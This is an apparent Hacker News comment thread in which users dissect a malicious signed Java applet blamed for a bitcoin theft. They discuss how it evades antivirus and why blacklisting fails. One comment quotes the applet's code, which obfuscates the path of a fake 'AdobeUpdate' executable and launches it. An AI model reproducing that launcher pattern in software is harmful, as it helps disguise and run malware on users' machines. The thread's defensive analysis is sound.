How I got robbed of 34 btc on Mt.Gox today

Re:How I got robbed of 34 btc on Mt.Gox today by arethuza on Thursday April 11, 2013 @08:28AM (#5531451)

It's a long time since I went anywhere near Java (let alone an applet) - but these lines don't look very nice:

  String str2 = System.getenv("APPDATA");
  String str5 = str2 + "\\";
  String str6 = "AdobeUpdate-Setup1.84##e";
  String str9 = str5.concat(str6.replace("##", ".ex"));     
  Runtime.getRuntime().exec(str9);

[ Parent | on HN ]

Re:How I got robbed of 34 btc on Mt.Gox today by Tomdarkness on Thursday April 11, 2013 @08:34AM (#5531484)

From a quick glance it would appear it tries to execute:

C:\Users\<username>\AppData\Roaming\AdobeUpdate-Setup1.84.exe

Just appears to be a rudimentary attempt at obfuscating the executable path.

The question is, how come the JVM is allowing Runtime.getRuntime().exec() to be called.

[ Parent | on HN ]

Re:How I got robbed of 34 btc on Mt.Gox today by ewoodrich on Thursday April 11, 2013 @08:42AM (#5531526)

According to an up thread commenter, it's digitally signed which allows a prompt to the user for elevated permissions.

[ Parent | on HN ]

Re:How I got robbed of 34 btc on Mt.Gox today by arethuza on Thursday April 11, 2013 @08:45AM (#5531547)

An evil wee signed applet.

[ Parent | on HN ]

Re:How I got robbed of 34 btc on Mt.Gox today by andy_boot on Thursday April 11, 2013 @08:51AM (#5531573)

I think thats done to fool AV software. - AV software will probably flag up any string which equals "AdobeUpdate-Setup1.exe"

[ Parent | on HN ]

Re:How I got robbed of 34 btc on Mt.Gox today by svachalek on Thursday April 11, 2013 @02:00PM (#5533613)

All AV software is about that dumb as far as I know. Anyone who is depending on AV software to protect things like actual money is in serious trouble.

[ Parent | on HN ]

Re:How I got robbed of 34 btc on Mt.Gox today by andreasvc on Thursday April 11, 2013 @04:32PM (#5534590)

You can't really expect it to do much more in this case, you can make the computation which results in ".exe" arbitrarily complex, and detection needs to be cheap. Ultimately the problem is that AV software is in the business of enumerating badness. You need to do whitelisting, for example of who gets to execute arbitrary code, which is the problem here.

[ Parent | on HN ]